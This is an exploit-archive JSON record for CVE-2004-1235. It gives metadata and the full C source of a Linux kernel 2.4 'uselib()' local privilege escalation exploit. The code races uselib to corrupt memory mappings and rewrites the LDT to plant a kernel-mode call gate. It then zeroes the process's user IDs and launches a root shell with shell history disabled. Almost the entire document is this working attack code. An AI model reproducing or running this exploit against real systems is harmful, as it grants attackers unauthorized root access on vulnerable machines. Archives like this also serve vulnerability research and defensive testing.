{"exploit":{"id":"EDB-778","name":"Linux Kernel 2.4 - 'uselib()' Local Privilege Escalation (LPE)","description":"Linux Kernel 2.4 - 'uselib()' Local Privilege Escalation (LPE)","cves":["CVE-2004-1235"],"author":"Tim Hsu","published":"2005-01-27","platform":"linux","type":"local","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/778","path":"exploits/linux/local/778.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-778.c","vulnerabilities":[{"id":"CVE-2004-1235","state":"PUBLISHED","title":null,"titleSource":null,"description":"Race condition in the (1) load_elf_library and (2) binfmt_aout function calls for uselib in Linux kernel 2.4 through 2.429-rc2 and 2.6 through 2.6.10 allows local users to execute arbitrary code by manipulating the VMA descriptor.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2004-1235","cvss":{"version":"2.0","baseScore":6.2,"severity":"medium","vectorString":"AV:L/AC:H/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2004-1235"},"updatedAt":"2024-08-08T00:46:12.034Z","retrievedAt":"2026-11-26T12:10:30.730Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-778.png?v=2","url":"https://exploitbin.com/exploits/EDB-778","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-778/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-778/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\n*   EDB Note: There's is an updated version ~ https://www.exploit-db.com/exploits/895/\n*/\n\n/*\n * Linux kernel 2.4 uselib() privilege elevation exploit.\n *\n * original exploit source from http://isec.pl\n * reference: http://isec.pl/vulnerabilities/isec-0021-uselib.txt\n *\n * I modified the Paul Starzetz's exploit, made it more possible\n * to race successfully. The exploit still works only on 2.4 series.\n * It should be also works on 2.4 SMP, but not easy.\n *\n * thx newbug.\n *\n * Tim Hsu <timhsu at chroot.org> Jan 2005.\n *\n */\n\n#define _GNU_SOURCE\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <fcntl.h>\n#include <unistd.h>\n#include <errno.h>\n#include <sched.h>\n#include <syscall.h>\n#include <limits.h>\n\n#include <sys/types.h>\n#include <sys/wait.h>\n#include <sys/time.h>\n#include <sys/mman.h>\n#include <sys/sysinfo.h>\n\n#include <linux/elf.h>\n#include <linux/linkage.h>\n\n#include <asm/page.h>\n#include <asm/ldt.h>\n#include <asm/segment.h>\n\n#define str(s) #s\n#define xstr(s) str(s)\n\n#define MREMAP_MAYMOVE  1\n\n\n//\ttemp lib location\n#define LIBNAME \t\"/tmp/_elf_lib\"\n\n//\tshell name\n#define\tSHELL\t\t\"/bin/bash\"\n\n//\ttime delta to detect race\n#define RACEDELTA\t5000\n\n//\tif you have more deadbabes in memory, change this\n#define MAGIC\t\t0xdeadbabe\n\n\n//\tdo not touch\n#define\tSLAB_THRSH\t128\n#define\tSLAB_PER_CHLD\t(INT_MAX - 1)\n#define LIB_SIZE\t( PAGE_SIZE * 4 )\n#define STACK_SIZE\t( PAGE_SIZE * 4 )\n\n#define LDT_PAGES\t( (LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1)/PAGE_SIZE )\n\n#define ENTRY_GATE\t( LDT_ENTRIES-1 )\n#define SEL_GATE\t( (ENTRY_GATE<<3)|0x07 )\n\n#define ENTRY_LCS\t( ENTRY_GATE-2 )\n#define SEL_LCS\t\t( (ENTRY_LCS<<3)|0x04 )\n\n#define ENTRY_LDS\t( ENTRY_GATE-1 )\n#define SEL_LDS\t\t( (ENTRY_LDS<<3)|0x04 )\n\n#define kB\t\t* 1024\n#define MB\t\t* 1024 kB\n#define GB\t\t* 1024 MB\n\n#define TMPLEN\t\t256\n#define PGD_SIZE\t( PAGE_SIZE*1024 )\n\n\nextern char **environ;\n\nstatic char cstack[STACK_SIZE];\nstatic char name[TMPLEN];\nstatic char line[TMPLEN];\n\nstatic pid_t consume_pid;\n\nstatic volatile int\n\tval = 0,\n\tgo = 0,\n\tfinish = 0,\n\tscnt = 0,\n\tccnt=0,\n\tdelta = 0,\n\tdelta_max = RACEDELTA,\n\tmap_flags = PROT_WRITE|PROT_READ;\n\n\nstatic int\n\tfstop=0,\n\tsilent=0,\n\tpidx,\n\tpnum=0,\n\tsmp_max=0,\n\tsmp,\n\twtime=2,\n\tcpid,\n\tuid,\n\ttask_size,\n\told_esp,\n\tlib_addr,\n\tmap_count=0,\n\tmap_base=0,\n\tmap_addr,\n\taddr_min,\n\taddr_max,\n\tvma_start,\n\tvma_end,\n\tmax_page;\n\n\nstatic struct timeval tm1, tm2;\n\nstatic char *myenv[] = {\"TERM=vt100\",\n\t\t\t\"HISTFILE=/dev/null\",\n\t\t\tNULL};\n\nstatic char hellc0de[] = \"\\x49\\x6e\\x74\\x65\\x6c\\x65\\x63\\x74\\x75\\x61\\x6c\\x20\\x70\\x72\\x6f\\x70\"\n                         \"\\x65\\x72\\x74\\x79\\x20\\x6f\\x66\\x20\\x49\\x68\\x61\\x51\\x75\\x65\\x52\\x00\";\n\n\nstatic char *pagemap, *libname=LIBNAME, *shellname=SHELL;\n\n\n\n#define __NR_sys_gettimeofday\t__NR_gettimeofday\n#define __NR_sys_sched_yield\t__NR_sched_yield\n#define __NR_sys_madvise\t__NR_madvise\n#define __NR_sys_uselib\t\t__NR_uselib\n#define __NR_sys_mmap2\t\t__NR_mmap2\n#define __NR_sys_munmap\t\t__NR_munmap\n#define __NR_sys_mprotect\t__NR_mprotect\n#define __NR_sys_mremap\t\t__NR_mremap\n\ninline _syscall6(int, sys_mmap2, int, a, int, b, int, c, int, d, int, e, int, f);\n\ninline _syscall5(int, sys_mremap, int, a, int, b, int, c, int, d, int, e);\n\ninline _syscall3(int, sys_madvise, void*, a, int, b, int, c);\ninline _syscall3(int, sys_mprotect, int, a, int, b, int, c);\ninline _syscall3( int, modify_ldt, int, func, void *, ptr, int, bytecount );\n\ninline _syscall2(int, sys_gettimeofday, void*, a, void*, b);\ninline _syscall2(int, sys_munmap, int, a, int, b);\n\ninline _syscall1(int, sys_uselib, char*, l);\n\ninline _syscall0(void, sys_sched_yield);\n\n\nint consume_memory()\n{\n\tstruct sysinfo info;\n\tchar *vmem;\n\n\tsysinfo(&info);\n\tvmem = malloc(info.freeram);\n\tif (vmem == NULL)\n\t{\n\t\tperror(\"malloc\");\n\t\treturn -1;\n\t}\n\tmemset(vmem, 0x90, info.freeram);\n\n}\n\n\ninline int tmdiff(struct timeval *t1, struct timeval *t2)\n{\nint r;\n\n\tr=t2->tv_sec - t1->tv_sec;\n\tr*=1000000;\n\tr+=t2->tv_usec - t1->tv_usec;\nreturn r;\n}\n\n\nvoid fatal(const char *message, int critical)\n{\nint sig = critical? SIGSTOP : (fstop? SIGSTOP : SIGKILL);\n\n\tif(!errno) {\n\t\tfprintf(stdout, \"\\n[-] FAILED: %s \", message);\n\t} else {\n\t\tfprintf(stdout, \"\\n[-] FAILED: %s (%s) \", message,\n\t\t\t(char*) (strerror(errno)) );\n\t}\n\tif(critical)\n\t\tprintf(\"\\nCRITICAL, entering endless loop\");\n\tprintf(\"\\n\");\n\tfflush(stdout);\n\n\tunlink(libname);\n\tkill(cpid, SIGKILL);\n\tfor(;;) kill(0, sig);\n}\n\n\n//\ttry to race do_brk sleeping on kmalloc, may need modification for SMP\nint raceme(void* v)\n{\n\tfinish=1;\n\n\tfor(;;) {\n\t\terrno = 0;\n\n//\tcheck if raced:\nrecheck:\n\t\tif(!go) sys_sched_yield();\n\t\tsys_gettimeofday(&tm2, NULL);\n\t\tdelta = tmdiff(&tm1, &tm2);\n\t\tif(!smp_max && delta < (unsigned)delta_max) goto recheck;\n\t\tsmp = smp_max;\n\n//\tcheck if lib VMAs exist as expected under race condition\nrecheck2:\n\t\tval = sys_madvise((void*) lib_addr, PAGE_SIZE, MADV_NORMAL);\n\t\tif(val) continue;\n\t\terrno = 0;\n\t\tval = sys_madvise((void*) (lib_addr+PAGE_SIZE),\n\t\t\t\tLIB_SIZE-PAGE_SIZE, MADV_NORMAL);\n\t\tif( !val || (val<0 && errno!=ENOMEM) ) continue;\n\n//\tSMP?\n\t\tsmp--;\n\t\tif(smp>=0) goto recheck2;\n\n//\trecheck race\n\t\tif(!go) continue;\n\t\tfinish++;\n\n//\twe need to free one vm_area_struct for mmap to work\n\t\tval = sys_mprotect(map_addr, PAGE_SIZE, map_flags);\n\t\tif(val) fatal(\"mprotect\", 0);\n\t\tval = sys_mmap2(lib_addr + PAGE_SIZE, PAGE_SIZE*3, PROT_NONE,\n\t\t\t      MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);\n\t\tif(-1==val) fatal(\"mmap2 race\", 0);\n\t\tprintf(\"\\n[+] race won maps=%d\", map_count); fflush(stdout);\n\t\tkill(consume_pid, SIGKILL);\n\t\t_exit(0);\n\t}\n\nreturn 0;\n}\n\n\nint callme_1()\n{\n\treturn val++;\n}\n\n\ninline int valid_ptr(unsigned ptr)\n{\n\treturn ptr>=task_size && ptr<addr_min-16;\n}\n\n\ninline int validate_vma(unsigned *p, unsigned s, unsigned e)\n{\nunsigned *t;\n\n\tif(valid_ptr(p[0]) && valid_ptr(p[3]) && p[1]==s && p[2]==e) {\n\t\tt=(unsigned*)p[3];\n\t\tif( t[0]==p[0] && t[1]<=task_size && t[2]<=task_size )\n\t\t\treturn 1;\n\t}\n\treturn 0;\n}\n\n\nasmlinkage void kernel_code(unsigned *task)\n{\nunsigned *addr = task;\n\n//\tfind & reset uids\n\twhile(addr[0] != uid || addr[1] != uid ||\n\t      addr[2] != uid || addr[3] != uid)\n\t\taddr++;\n\n\taddr[0] = addr[1] = addr[2] = addr[3] = 0;\n\taddr[4] = addr[5] = addr[6] = addr[7] = 0;\n\n//\tfind & correct VMA\n\tfor(addr=(unsigned *)task_size; (unsigned)addr<addr_min-16; addr++) {\n\t\tif( validate_vma(addr, vma_start, vma_end) ) {\n\t\t\taddr[1] = task_size - PAGE_SIZE;\n\t\t\taddr[2] = task_size;\n\t\t\tbreak;\n\t\t}\n\t}\n}\n\n\nvoid kcode(void);\n\n//\tCPL0 code mostly stolen from cliph\nvoid __kcode(void)\n{\nasm(\n\t\"kcode:\t\t\t\t\t\t\\n\"\n\t\"\tpusha\t\t\t\t\t\\n\"\n\t\"\tpushl\t%es\t\t\t\t\\n\"\n\t\"\tpushl\t%ds\t\t\t\t\\n\"\n\t\"\tmovl\t$(\" xstr(SEL_LDS) \") ,%edx\t\\n\"\n\t\"\tmovl\t%edx,%es\t\t\t\\n\"\n\t\"\tmovl\t%edx,%ds\t\t\t\\n\"\n\t\"\tmovl\t$0xffffe000,%eax\t\t\\n\"\n\t\"\tandl\t%esp,%eax\t\t\t\\n\"\n\t\"\tpushl\t%eax\t\t\t\t\\n\"\n\t\"\tcall\tkernel_code\t\t\t\\n\"\n\t\"\taddl\t$4, %esp\t\t\t\\n\"\n\t\"\tpopl\t%ds\t\t\t\t\\n\"\n\t\"\tpopl\t%es\t\t\t\t\\n\"\n\t\"\tpopa\t\t\t\t\t\\n\"\n\t\"\tlret\t\t\t\t\t\\n\"\n    );\n}\n\n\nint callme_2()\n{\n\treturn val + task_size + addr_min;\n}\n\n\nvoid sigfailed(int v)\n{\n\tccnt++;\n\tfatal(\"lcall\", 1);\n}\n\n\n//\tmodify LDT & exec\nvoid try_to_exploit(unsigned addr)\n{\nvolatile int r, *v;\n\n\tprintf(\"\\n[!] try to exploit 0x%.8x\", addr); fflush(stdout);\n\tunlink(libname);\n\n\tr = sys_mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE|map_flags);\n\tif(r) fatal(\"mprotect 1\", 1);\n\n//\tcheck if really LDT\n\tv = (void*) (addr + (ENTRY_GATE*LDT_ENTRY_SIZE % PAGE_SIZE) );\n\tsignal(SIGSEGV, sigfailed);\n\tr = *v;\n\tif(r != MAGIC) {\n\t\tprintf(\"\\n[-] FAILED val = 0x%.8x\", r); fflush(stdout);\n\t\tfatal(\"find LDT\", 1);\n\t}\n\n//\tyeah, setup CPL0 gate\n\tv[0] = ((unsigned)(SEL_LCS)<<16) | ((unsigned)kcode & 0xffffU);\n\tv[1] = ((unsigned)kcode & ~0xffffU) | 0xec00U;\n\tprintf(\"\\n[+] gate modified ( 0x%.8x 0x%.8x )\", v[0], v[1]); fflush(stdout);\n\n//\tsetup CPL0 segment descriptors (we need the 'accessed' versions ;-)\n\tv = (void*) (addr + (ENTRY_LCS*LDT_ENTRY_SIZE % PAGE_SIZE) );\n\tv[0] = 0x0000ffff; /* kernel 4GB code at 0x00000000 */\n\tv[1] = 0x00cf9b00;\n\n\tv = (void*) (addr + (ENTRY_LDS*LDT_ENTRY_SIZE % PAGE_SIZE) );\n\tv[0] = 0x0000ffff; /* kernel 4GB data at 0x00000000 */\n\tv[1] = 0x00cf9300;\n\n//\treprotect to get only one big VMA\n\tr = sys_mprotect(addr, PAGE_SIZE, PROT_READ|map_flags);\n\tif(r) fatal(\"mprotect 2\", 1);\n\n//\tCPL0 transition\n\tsys_sched_yield();\n\tval = callme_1() + callme_2();\n\tasm(\"lcall $\" xstr(SEL_GATE) \",$0x0\");\n\t//if( getuid()==0 || (val==31337 && strlen(hellc0de)==31337) ) {\n\tif (getuid()==0) {\n\t\tprintf(\"\\n[+] exploited, uid=0\\n\\n\" ); fflush(stdout);\n\t} else {\n\t\tprintf(\"\\n[-] uid change failed\" ); fflush(stdout);\n\t\tsigfailed(0);\n\t}\n\tsignal(SIGTERM, SIG_IGN);\n\tkill(0, SIGTERM);\n\tsetresuid(0, 0, 0);\n\texecl(shellname, \"sh\", NULL);\n\tfatal(\"execl\", 0);\n}\n\n\nvoid scan_mm_finish();\nvoid scan_mm_start();\n\n\n//\tkernel page table scan code\nvoid scan_mm()\n{\n\tmap_addr -= PAGE_SIZE;\n\tif(map_addr <= (unsigned)addr_min)\n\t\tscan_mm_start();\n\n\tscnt=0;\n\tval = *(int*)map_addr;\n\tscan_mm_finish();\n}\n\n\nvoid scan_mm_finish()\n{\nretry:\n\t__asm__(\"movl\t%0, %%esp\" : :\"m\"(old_esp) );\n\n\tif(scnt) {\n\t\tpagemap[pidx] ^= 1;\n\t}\n\telse {\n\t\tsys_madvise((void*)map_addr, PAGE_SIZE, MADV_DONTNEED);\n\t}\n\tpidx--;\n\tscan_mm();\n\tgoto retry;\n}\n\n\n//\tmake kernel page maps before and after allocating LDT\nvoid scan_mm_start()\n{\nstatic int npg=0;\nstatic struct modify_ldt_ldt_s l;\n//static struct user_desc l;\n\tpnum++;\n\tif(pnum==1) {\n\t\tpidx = max_page-1;\n\t}\n\telse if(pnum==2) {\n\t\tmemset(&l, 0, sizeof(l));\n\t\tl.entry_number = LDT_ENTRIES-1;\n\t\tl.seg_32bit = 1;\n\t\tl.base_addr = MAGIC >> 16;\n\t\tl.limit = MAGIC & 0xffff;\n\t\tl.limit_in_pages = 1;\n\t\tif( modify_ldt(1, &l, sizeof(l)) != 0 )\n\t\t\tfatal(\"modify_ldt\", 1);\n\t\tpidx = max_page-1;\n\t}\n\telse if(pnum==3) {\n\t\tnpg=0;\n\t\tfor(pidx=0; pidx<=max_page-1; pidx++) {\n\t\t\tif(pagemap[pidx]) {\n\t\t\t\tnpg++;\n\t\t\t}\n\t\t\telse if(npg == LDT_PAGES) {\n\t\t\t\tnpg=0;\n\t\t\t\ttry_to_exploit(addr_min+(pidx-1)*PAGE_SIZE);\n\t\t\t} else {\n\t\t\t\tnpg=0;\n\t\t\t}\n\t\t}\n\t\tfatal(\"find LDT\", 1);\n\t}\n\n//\tsave context & scan page table\n\t__asm__(\"movl\t%%esp, %0\" : :\"m\"(old_esp) );\n\tmap_addr = addr_max;\n\tscan_mm();\n}\n\n\n//\treturn number of available SLAB objects in cache\nint get_slab_objs(const char *sn)\n{\nstatic int c, d, u = 0, a = 0;\nFILE *fp=NULL;\nchar x1[20];\n\n\tfp = fopen(\"/proc/slabinfo\", \"r\");\n\tif(!fp)\n\t\tfatal(\"get_slab_objs: fopen\", 0);\n\tfgets(name, sizeof(name) - 1, fp);\n\tdo {\n\t\tc = u = a = -1;\n\t\tif (!fgets(line, sizeof(line) - 1, fp))\n\t\t\tbreak;\n\t\tc = sscanf(line, \"%s %u %u %u %u %u %u\", name, &u, &a,\n\t\t\t   &d, &d, &d, &d);\n\t} while (strcmp(name, sn));\n\tclose(fileno(fp));\n\tfclose(fp);\n\treturn c == 7 ? a - u : -1;\n}\n\nlong memmaped_size = 0;\n\n//\tleave one object in the SLAB\ninline void prepare_slab()\n{\nint *r;\n\n\tmap_addr -= PAGE_SIZE;\n\tmap_count++;\n\tmap_flags ^= PROT_READ;\n\n\tr = (void*)sys_mmap2((unsigned)map_addr, PAGE_SIZE, map_flags,\n\t\t\t     MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);\n\tif(MAP_FAILED == r) {\n\t\tprintf(\"--> prepare_slab(), %dMb\\n\", memmaped_size/1024/1024);\n\t\tfatal(\"try again\", 0);\n\t}\n\tmemmaped_size += PAGE_SIZE;\n\t*r = map_addr;\n}\n\n\n//\tsig handlers\nvoid segvcnt(int v)\n{\n\tscnt++;\n\tscan_mm_finish();\n}\n\n\n//\tchild reap\nvoid reaper(int v)\n{\n\tccnt++;\n\twaitpid(0, &v, WNOHANG|WUNTRACED);\n}\n\n\n//\tsometimes I get the VMAs in reversed order...\n//\tso just use anyone of the two but take care about the flags\nvoid check_vma_flags();\n\nvoid vreversed(int v)\n{\n\tmap_flags = 0;\n\tcheck_vma_flags();\n}\n\n\nvoid check_vma_flags()\n{\n\tif(map_flags) {\n\t\t__asm__(\"movl\t%%esp, %0\" : :\"m\"(old_esp) );\n\t} else {\n\t\t__asm__(\"movl\t%0, %%esp\" : :\"m\"(old_esp) );\n\t\tgoto out;\n\t}\n\tsignal(SIGSEGV, vreversed);\n\tval = * (unsigned*)(lib_addr + PAGE_SIZE);\nout:\n}\n\n\n//\tuse elf library and try to sleep on kmalloc\nvoid exploitme()\n{\nint r, sz, pcnt=0;\nstatic char smiley[]=\"-\\\\|/-\\\\|/\";\n\n//\tprintf(\"\\n    cat /proc/%d/maps\", getpid() ); fflush(stdout);\n//\thelper clone\n\tfinish=0; ccnt=0;\n\tsz = sizeof(cstack) / sizeof(cstack[0]);\n\tcpid = clone(&raceme, (void*) &cstack[sz-16],\n\t\t\tCLONE_VM|CLONE_SIGHAND|CLONE_FS|SIGCHLD, NULL );\n\tif(-1==cpid) fatal(\"clone\", 0);\n\n//\tsynchronize threads\n\twhile(!finish) sys_sched_yield();\n\tfinish=0;\n\tif(!silent) {\n\t\tprintf(\"\\n\"); fflush(stdout);\n\t}\n\n//\ttry to hit the kmalloc race\n\tfor(;;) {\n\n\t\tr = get_slab_objs(\"vm_area_struct\");\n\t\t//printf(\"\\nfree slab = %d\\n\",r);\n\t\twhile(r != 1 && r > 0) {\n\t\t\tprepare_slab();\n\t\t\tr--;\n\t\t}\n\n\t\tsys_gettimeofday(&tm1, NULL);\n\t\tgo = 1;\n\t\tr=sys_uselib(libname);\n\t\tgo = 0;\n\t\tif(r) fatal(\"uselib\", 0);\n\t\tif(finish) break;\n\n//\twipe lib VMAs and try again\n\t\tr = sys_munmap(lib_addr, LIB_SIZE);\n\t\tif(r) fatal(\"munmap lib\", 0);\n\t\tif(ccnt) goto failed;\n\n\t\tif( !silent && !(pcnt%64) ) {\n\t\t\tprintf(\"\\r    Wait... %c\", smiley[ (pcnt/64)%8 ]);\n\t\t\tfflush(stdout);\n\t\t}\n\t\tpcnt++;\n\t}\n\n//\tseems we raced, free mem\n\tr = sys_munmap(map_addr, map_base-map_addr + PAGE_SIZE);\n\tif(r) fatal(\"munmap 1\", 0);\n\tr = sys_munmap(lib_addr, PAGE_SIZE);\n\tif(r) fatal(\"munmap 2\", 0);\n\n//\trelax kswapd\n\tsys_gettimeofday(&tm1, NULL);\n\tfor(;;) {\n\t\tsys_sched_yield();\n\t\tsys_gettimeofday(&tm2, NULL);\n\t\tdelta = tmdiff(&tm1, &tm2);\n\t\tif( wtime*1000000U <= (unsigned)delta ) break;\n\t}\n\n//\twe need to check the PROT_EXEC flag\n\tmap_flags = PROT_EXEC;\n\tcheck_vma_flags();\n\tif(!map_flags) {\n\t\tprintf(\"\\n    VMAs reversed\"); fflush(stdout);\n\t}\n\n//\twrite protect brk's VMA to fool vm_enough_memory()\n\tr = sys_mprotect((lib_addr + PAGE_SIZE), LIB_SIZE-PAGE_SIZE,\n\t\t\t PROT_READ|map_flags);\n\tif(-1==r) { fatal(\"mprotect brk\", 0); }\n\n//\tthis will finally make the big VMA...\n\tsz = (0-lib_addr) - LIB_SIZE - PAGE_SIZE;\nexpand:\n\tr = sys_madvise((void*)(lib_addr + PAGE_SIZE),\n\t\t\tLIB_SIZE-PAGE_SIZE, MADV_NORMAL);\n\tif(r) fatal(\"madvise\", 0);\n\tr = sys_mremap(lib_addr + LIB_SIZE-PAGE_SIZE,\n\t\t\tPAGE_SIZE, sz, MREMAP_MAYMOVE, 0);\n\tif(-1==r) {\n\t\tif(0==sz) {\n\t\t\tfatal(\"mremap: expand VMA\", 0);\n\t\t} else {\n\t\t\tsz -= PAGE_SIZE;\n\t\t\tgoto expand;\n\t\t}\n\t}\n\tvma_start = lib_addr + PAGE_SIZE;\n\tvma_end = vma_start + sz + 2*PAGE_SIZE;\n\tprintf(\"\\n    expanded VMA (0x%.8x-0x%.8x)\", vma_start, vma_end);\n\tfflush(stdout);\n\n//\ttry to figure kernel layout\n\tsignal(SIGCHLD, reaper);\n\tsignal(SIGSEGV, segvcnt);\n\tsignal(SIGBUS, segvcnt);\n\tscan_mm_start();\n\nfailed:\n\tprintf(\"failed:\\n\");\n\tfatal(\"try again\", 0);\n\n}\n\n\n//\tmake fake ELF library\nvoid make_lib()\n{\nstruct elfhdr eh;\nstruct elf_phdr eph;\nstatic char tmpbuf[PAGE_SIZE];\nint fd;\n\n//\tmake our elf library\n\tumask(022);\n\tunlink(libname);\n\tfd=open(libname, O_RDWR|O_CREAT|O_TRUNC, 0755);\n\tif(fd<0) fatal(\"open lib (\"LIBNAME\" not writable?)\", 0);\n\tmemset(&eh, 0, sizeof(eh) );\n\n//\telf exec header\n\tmemcpy(eh.e_ident, ELFMAG, SELFMAG);\n\teh.e_type = ET_EXEC;\n\teh.e_machine = EM_386;\n\teh.e_phentsize = sizeof(struct elf_phdr);\n\teh.e_phnum = 1;\n\teh.e_phoff = sizeof(eh);\n\twrite(fd, &eh, sizeof(eh) );\n\n//\tsection header:\n\tmemset(&eph, 0, sizeof(eph) );\n\teph.p_type = PT_LOAD;\n\teph.p_offset = 4096;\n\teph.p_filesz = 4096;\n\teph.p_vaddr = lib_addr;\n\teph.p_memsz = LIB_SIZE;\n\teph.p_flags = PF_W|PF_R|PF_X;\n\twrite(fd, &eph, sizeof(eph) );\n\n//\texecable code\n\tlseek(fd, 4096, SEEK_SET);\n\tmemset(tmpbuf, 0x90, sizeof(tmpbuf) );\n\twrite(fd, &tmpbuf, sizeof(tmpbuf) );\n\tclose(fd);\n}\n\n\n//\tmove stack down #2\nvoid prepare_finish()\n{\nint r;\nstatic struct sysinfo si;\n\n\told_esp &= ~(PAGE_SIZE-1);\n\told_esp -= PAGE_SIZE;\n\ttask_size = ((unsigned)old_esp + 1 GB ) / (1 GB) * 1 GB;\n\tr = sys_munmap(old_esp, task_size-old_esp);\n\tif(r) fatal(\"unmap stack\", 0);\n\n//\tsetup rt env\n\tuid = getuid();\n\tlib_addr = task_size - LIB_SIZE - PAGE_SIZE;\n\tif(map_base)\n\t\tmap_addr = map_base;\n\telse\n\t\tmap_base = map_addr = (lib_addr - PGD_SIZE) & ~(PGD_SIZE-1);\n\tprintf(\"\\n[+] moved stack %x, task_size=0x%.8x, map_base=0x%.8x\",\n\t\told_esp, task_size, map_base); fflush(stdout);\n\n//\tcheck physical mem & prepare\n\tsysinfo(&si);\n\taddr_min = task_size + si.totalram;\n\taddr_min = (addr_min + PGD_SIZE - 1) & ~(PGD_SIZE-1);\n\taddr_max = addr_min + si.totalram;\n\tif((unsigned)addr_max >= 0xffffe000 || (unsigned)addr_max < (unsigned)addr_min)\n\t\taddr_max = 0xffffd000;\n\n\tprintf(\"\\n[+] vmalloc area 0x%.8x - 0x%.8x\", addr_min, addr_max);\n\tmax_page = (addr_max - addr_min) / PAGE_SIZE;\n\tpagemap = malloc( max_page + 32 );\n\tif(!pagemap) fatal(\"malloc pagemap\", 1);\n\tmemset(pagemap, 0, max_page + 32);\n\n//\tgo go\n\tmake_lib();\n\texploitme();\n}\n\n\n//\tmove stack down #1\nvoid prepare()\n{\nunsigned p=0;\n\n\tenviron = myenv;\n\n\tp = sys_mmap2( 0, STACK_SIZE, PROT_READ|PROT_WRITE,\n\t\t       MAP_PRIVATE|MAP_ANONYMOUS, 0, 0\t);\n\tif(-1==p) fatal(\"mmap2 stack\", 0);\n\tp += STACK_SIZE - 64;\n\n\t__asm__(\"movl\t%%esp, %0\t\\n\"\n\t\t\"movl \t%1, %%esp\t\\n\"\n\t\t: : \"m\"(old_esp), \"m\"(p)\n\t);\n\n\tprepare_finish();\n}\n\n\nvoid chldcnt(int v)\n{\n\tccnt++;\n}\n\n\n//\talloc slab objects...\ninline void do_wipe()\n{\nint *r, c=0, left=0;\n\n\t__asm__(\"movl\t%%esp, %0\" : : \"m\"(old_esp) );\n\n\told_esp = (old_esp - PGD_SIZE+1) & ~(PGD_SIZE-1);\n\told_esp = map_base? map_base : old_esp;\n\n\tfor(;;) {\n\t\tif(left<=0)\n\t\t\tleft = get_slab_objs(\"vm_area_struct\");\n\t\tif(left <= SLAB_THRSH)\n\t\t\tbreak;\n\t\tleft--;\n\n\t\tmap_flags ^= PROT_READ;\n\t\told_esp -= PAGE_SIZE;\n\t\tr = (void*)sys_mmap2(old_esp, PAGE_SIZE, map_flags,\n\t\t\tMAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0 );\n\t\tif(MAP_FAILED == r)\n\t\t\tbreak;\n\n\t\tif(c>SLAB_PER_CHLD)\n\t\t\tbreak;\n\t\tif( (c%1024)==0 ) {\n\t\t\tif(!c) printf(\"\\n\");\n\t\t\tprintf(\"\\r    child %d VMAs %d\", val, c);\n\t\t\tfflush(stdout);\n\t\t}\n\t\tc++;\n\t}\n\tprintf(\"\\r    child %d VMAs %d\", val, c);\n\tfflush(stdout);\n\tkill(getppid(), SIGUSR1);\n\tfor(;;) pause();\n}\n\n\n//\tempty SLAB caches\nvoid wipe_slab()\n{\n\tsignal(SIGUSR1, chldcnt);\n\tprintf(\"\\n[+] SLAB cleanup\"); fflush(stdout);\n\tfor(;;) {\n\t\tccnt=0;\n\t\tval++;\n\t\tcpid = fork();\n\t\tif(!cpid)\n\t\t\tdo_wipe();\n\n\t\twhile(!ccnt) sys_sched_yield();\n\t\tif( get_slab_objs(\"vm_area_struct\") <= SLAB_THRSH )\n\t\t\tbreak;\n\t}\n\tsignal(SIGUSR1, SIG_DFL);\n}\n\n\nvoid usage(char *n)\n{\n\tprintf(\"\\nUsage: %s\\t-f forced stop\\n\", n);\n\tprintf(\"\\t\\t-s silent mode\\n\");\n\tprintf(\"\\t\\t-c command to run\\n\");\n\tprintf(\"\\t\\t-n SMP iterations\\n\");\n\tprintf(\"\\t\\t-d race delta us\\n\");\n\tprintf(\"\\t\\t-w wait time seconds\\n\");\n\tprintf(\"\\t\\t-l alternate lib name\\n\");\n\tprintf(\"\\t\\t-a alternate addr hex\\n\");\n\tprintf(\"\\n\");\n\t_exit(1);\n}\n\n\n//\tgive -s for forced stop, -b to clean SLAB\nint main(int ac, char **av)\n{\nint r;\n\n\twhile(ac) {\n\t\tr = getopt(ac, av, \"n:l:a:w:c:d:fsh\");\n\t\tif(r<0) break;\n\n\t\tswitch(r) {\n\n\t\tcase 'f' :\n\t\t\tfstop = 1;\n\t\t\tbreak;\n\n\t\tcase 's' :\n\t\t\tsilent = 1;\n\t\t\tbreak;\n\n\t\tcase 'n' :\n\t\t\tsmp_max = atoi(optarg);\n\t\t\tbreak;\n\n\t\tcase 'd':\n\t\t\tif(1!=sscanf(optarg, \"%u\", &delta_max) || delta_max > 100000u )\n\t\t\t\tfatal(\"bad delta value\", 0);\n\t\t\tbreak;\n\n\t\tcase 'w' :\n\t\t\twtime = atoi(optarg);\n\t\t\tif(wtime<0) fatal(\"bad wait value\", 0);\n\t\t\tbreak;\n\n\t\tcase 'l' :\n\t\t\tlibname = strdup(optarg);\n\t\t\tbreak;\n\n\t\tcase 'c' :\n\t\t\tshellname = strdup(optarg);\n\t\t\tbreak;\n\n\t\tcase 'a' :\n\t\t\tif(1!=sscanf(optarg, \"%x\", &map_base))\n\t\t\t\tfatal(\"bad addr value\", 0);\n\t\t\tmap_base &= ~(PGD_SIZE-1);\n\t\t\tbreak;\n\n\t\tcase 'h' :\n\t\tdefault:\n\t\t\tusage(av[0]);\n\t\t\tbreak;\n\t\t}\n\t}\n\tconsume_pid = fork();\n\n\tif (consume_pid == 0)\n\t{\n\t\tconsume_memory();\n\t\tpause();\n\t\treturn 0;\n\t}\n//\tbasic setup\n\tuid = getuid();\n\tsetpgrp();\n\twipe_slab();\n\tprepare();\n\nreturn 0;\n}\n\n// milw0rm.com [2005-01-27]","sha256":"01e44053a126e52aef18d32a9a2b1980e2fe043d86f67030c6329a90c3f4cc54","bytes":18855,"fetchedAt":"2026-11-26T12:10:27.341Z","encoding":"utf-8 (display only; download retains original bytes)"}